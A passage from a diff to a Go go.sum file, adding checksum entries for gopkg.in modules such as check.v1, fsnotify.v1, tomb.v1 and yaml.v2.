v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= +gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/ini.v1 v1.66.2/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22 h1:VpOs+IwYnYBaFnrNAeB8UUWtL3vEUnzSCL1nVjPhqrw= gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22/go.mod h1:yeKp02qBN3iKW1OzL3MGk2IdtZzaj7SFntXj72NppTA= gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo= +gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ= +gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74= gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= @@ -939,6 +972,7 @@ gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.7/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=